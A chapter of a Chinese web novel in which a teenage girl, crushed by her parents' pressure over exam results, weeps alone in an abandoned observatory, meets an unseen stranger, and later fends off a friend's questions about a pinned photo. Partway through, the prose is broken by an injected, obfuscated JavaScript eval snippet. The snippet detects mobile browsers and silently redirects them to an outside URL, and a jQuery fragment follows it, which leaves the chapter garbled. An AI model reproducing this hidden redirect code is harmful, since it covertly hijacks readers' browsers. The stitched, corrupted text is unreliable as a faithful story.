季秋的夜风自带凉意，从街面掠过时偶尔会吹起几片枯叶，在风中“沙沙”作响。【注①】


    顾星迩一个人走在通往观星台的街道上，她的脚步有些沉重，洞洞鞋踩在路面上发出一下一下“哒、哒、哒”的声响。


    风擦过她的脸颊时，明明只带着些许的冷意，可吹过她还挂着没干的泪水的眼角时，她却觉得又涩又疼。


    甚至一时分不清是因为风吹的，还是她自己哭的。


    今天夜里没有月亮，倒是有不少的星星在天边一闪一闪的。只是顾星迩越往观星台那个广场的方向走，路灯就越稀疏，街道上也是空荡荡的一片，连人影都没有。


    她心下疑惑，看了眼手机——明明才傍晚六点多。


    按照她小时候的印象来说，这会儿大家都刚刚吃完晚饭，正好是这里最热闹的时候。


    她忽然有种不太好的预感。


    可即便早有预料，观星台如今的样子映入眼帘时，她还是怔忪了一瞬。


    女孩站在锈迹斑斑的铁门前，滑开了手机自带的手电筒。


    白色的光束一下子刺破了黑暗，像把锋利的刀子，划开了观星台沉寂多年的荒凉。


    顾星迩举着手机照亮了眼前的景象，却比刚刚在黑暗里看到的轮廓更加破败——


    老旧围墙上蜷曲着大片干枯的爬山虎，无力地粘在上边。锈迹斑斑的铁门上挂着的锁链早已断裂，半挂在门框上，偶尔随风轻轻摇晃，发出“吱呀吱呀”的声响。


    她伸手尝试性地轻轻推了推那扇铁门，铁锈的触感让她指尖微微一颤。


    如果说刚刚看到的一切都还让顾星迩觉得难以置信，那么此刻从指尖传来的这种凹凸不平的粗糙触感，让她一下子对眼前的画面有了实感。


    这些都是真的……这个地方，确确实实已经变成了一片废墟。


    她想的那些，才是假的。


    顾星迩推开那扇封存已久的铁门，走了进去，路面有几块裂开的地方，杂草从那些缝隙里冒头。


    她走进废弃的建筑里，大概是因为里边不怎么通风的缘故，空气里似乎弥漫着一股潮湿的霉味，闻着很不舒服。


    走上顶层的观星台，她看见当年那间放器材的小房子上面的玻璃穹顶已经只剩下空荡荡的金属骨架了，玻璃都碎成了一小块一小块的，堆积的地面上，手电筒的光照在上面还会反光。


    可顾星迩却觉得它们反射的光线很刺眼。


    她站在观星台的中央，脚下的地面早已被厚厚的尘土覆盖，每一步都会扬起一片细小的尘埃。


    那个小房子的墙上，曾经贴满了天文展板和星云景象的照片，如今却只余下几块纸浆的残痕还黏在上面。


    观星台边缘曾经用来放置望远镜的位置，现在也只剩下几个空荡荡的底座。


    眼前的一切，都流露着一种无声的落魄感。


    顾星迩在一块很大的砖头上坐下，风带起她的发丝，扫过脸颊时有点泛痒。她没有抬头，而是闭上了眼睛，仿佛多年前的画面还能再次重现——


    就好像这依旧是年幼的她第一次看清天上那些闪烁的星星；她还是曾经那个无忧无虑的孩子；爷爷奶奶也没有回乡下，依旧陪在她身边……


    可当她再次睁开眼时，眼前依旧是这片荒凉落魄的景象。


    顾星迩忽然想起曾经在书上看到过的一句话——往事总在回忆时被赋予意义。【注②】


    或许人世间的事物，就是这样的道理吧。


    有些东西就是只适合留在记忆里，再重新翻出来，也不过是狗尾续貂的狼狈，再找不回曾经的感觉了。


    想到这儿，她心中忽然生出一种难以言喻的复杂情绪——过往的种种开始与刚刚家中的斥责声交织在一起：那些父母无休止的不满和数落的画面零零碎碎地在她脑海浮现，像一根根细小的针，扎在她的心里。


    手机屏幕忽然亮了起来，顾星迩低头一看，是母亲的消息：


    —有本事死出去就别回来


    不知是屏幕的光线太亮，还是母亲的消息太过刺眼，顾星迩只瞟了一眼就立马熄了屏。


    与此同时，那些原本零散的画面和言语忽然之间变得完整起来，伴随着黑暗蜂拥而至——


    “不用谢，你考试考好一点就是对我们最大的报答，考不好谢再多也没用……”


    “为什么不能再努力一点呢？爸爸妈妈为你付出了那么多，你这样对得起我们吗？”


    ……


    眼泪再次不受控制地从眼角渗了出来，带着残留的体温顺着女孩的脸颊慢慢地滑落。


    她很用力地咬住嘴唇，尽力不让自己发出声音，可那些委屈和痛苦却如同潮水一般源源不断地涌来，几乎要将她吞噬了。


    夜风依旧在往脸上扑，掠过耳边时还有那种“呼呼呼”的声音，像是某种无声的嘲讽。


    她想起自己曾经的努力，想起那些熬夜复习的夜晚，想起每一次考试前的紧张和期待。可无论她怎么努力，似乎永远都无法达到父母的期望。


    细碎的哭声不受控制地从唇齿间的缝隙里溢出，很快就被夜风吹散，连她自己都分辨不清。


    可她还是决定这样的自己太过落魄狼狈，哪怕这里明明只有她一个人，她也不敢过多地流露自己的悲伤。


    只是有些时候事情就是不会按自己想的发展的——


    她不想被别人窥见自己的脆弱和无能，偏偏就有人来；她不愿让旁人听见自己的哭声，只是有一瞬不慎漏了点声音，就叫人听见了。


    “咔嚓”


    瓷砖碰撞的声响传进她的耳朵里不过一瞬，顾星迩错愕半秒，没来得及思考就已经站起身滑开手电筒照向了声音的源头——


    只见那人迅速抬手挡住强光，顾星迩立马意识到自己行为的不妥。


    惊慌之中她好像听到那个人说了句什么，可她忙着关掉手电筒，忙着侧过脑袋用袖子蹭掉眼泪，顾不上辨别那人的话。


    她很后悔自己刚刚的行为，想道歉却又说不出完整的话。


    最后只好尴尬地重新坐下。


    顾星迩想起自己平时不肯让别人看到的那一面，就这样轻易地暴露在了一个素不相识的人面前，一时也觉得有些好笑。


    还有她刚刚下意识的行为，实际也是一样的道理——


    无非是落魄者为了维持自身往日那点自尊和颜面最后的挣扎罢了。


    她其实就是个不敢承认和直视自己内心想法的胆小鬼。


    那么“他”呢？


    顾星迩忽然想。


    “他”又是因为什么，才在这样的夜晚里独自来到这样一个被遗忘和抛弃的地方呢？


    刚刚的情况让她不知所措，顾星迩只看清了是个人影，连是男是女都没分辨出来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153754|163072||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不过这些都不重要。


    也许“他”也被什么事情困扰着，也不想被别人知道呢？


    所以才和她一样，躲到一个没有人的地方。


    只是这么转念一想，她忽然觉得心里的痛苦略微消散了些许——人的情绪变幻怎么能这样无端？


    只因为她无论如何都走不出的圆圈里，忽然有另一个人踏了进来，就好像她忽然多了个同伴一样。


    哪怕那个人其实只是无意间踏入，哪怕这些都是她自己脑补出来的……


    女孩抬起头用力睁大了眼睛，于是她看见了头顶的星空，和记忆里的画面重叠在了一起。


    她愣了片刻，再次用力地眨了眨眼睛——她的眼眶因为哭得太久已经肿了起来，风吹过的时候，会有一点轻微的刺痛感。


    再睁开眼睛，眼前还是那片星空。


    那一刻，顾星迩突然意识到，自然界中的一切都是亘古不变的，它们都还是原来那样，就像星星永远都在闪烁，往事也不会因为时间而消逝。


    唯一变了的，不过是她自己的心境。


    好在今夜孤独的她遇到了另一个孤独的人……


    ……


    手机忽然连着震动了好几下，顾星迩惊了一下，差点没捏住手机。


    她还有点没回过神，几秒后视线才慢慢重新聚焦。她划开锁屏看了一眼——是贺书辰的消息。


    —我刚刚不小心手滑才点赞的


    —不是故意的


    —没有视监你


    这话说的，多少有点欲盖弥彰的味道在。


    只是顾星迩还没完全从回忆里缓过来，随手地回了个“嗯”，准备去吹头发。


    ？？


    屏幕那边的贺书辰顾不上自己那还在隐隐作痛的膝盖，盯着这个“嗯”字看了好一会儿，一时摸不清顾星迩这么回的意思。


    不会是不相信他的话吧？！


    只是偷偷看了一下她的朋友圈而已，难不成这条朋友圈有什么特殊的意义吗？


    要不然也不会置顶吧。


    见顾星迩回了个“嗯”之后就没了个下文，他犹豫了好一会儿，又发了两条消息过去。


    —那个照片是在哪拍的？


    —我感觉有点眼熟


    顾星迩看着贺书辰新发来的消息再次陷入了沉默——


    在哪拍的？


    自然是一年前那个晚上她走的时候顺手拍的……


    可是！她后来是因为什么原因把这条内容置顶了？？


    又是为什么连自己都忘记了发过这样一条内容的？！


    顾星迩当然不会告诉贺书辰这张照片的来源——有些事情她自己连想起来都觉得丢人，更别提告诉别人了。


    何况这个人是贺书辰，虽然他们俩认识也有一段时间了，但她也没觉得他们俩有熟到可以共享往事的程度。


    吹风机的热风因为她的出神一直在吹同一个位置，顾星迩冷不丁地被烫到了头皮，痛的手一抖，几根发丝一下子被卷进了风筒里。


    “嘶——”


    她在慌忙间马上关掉了开关，顾不上疼，赶紧把那一束被卷进去的头发拔了出来，可吹风机口的网面上还是不可避免地缠了几根发丝。


    空气里弥漫着一股淡淡的焦味。


    “……”


    顾星迩沉默片刻拿起手机点进自己的朋友圈主页，取消了那条置顶。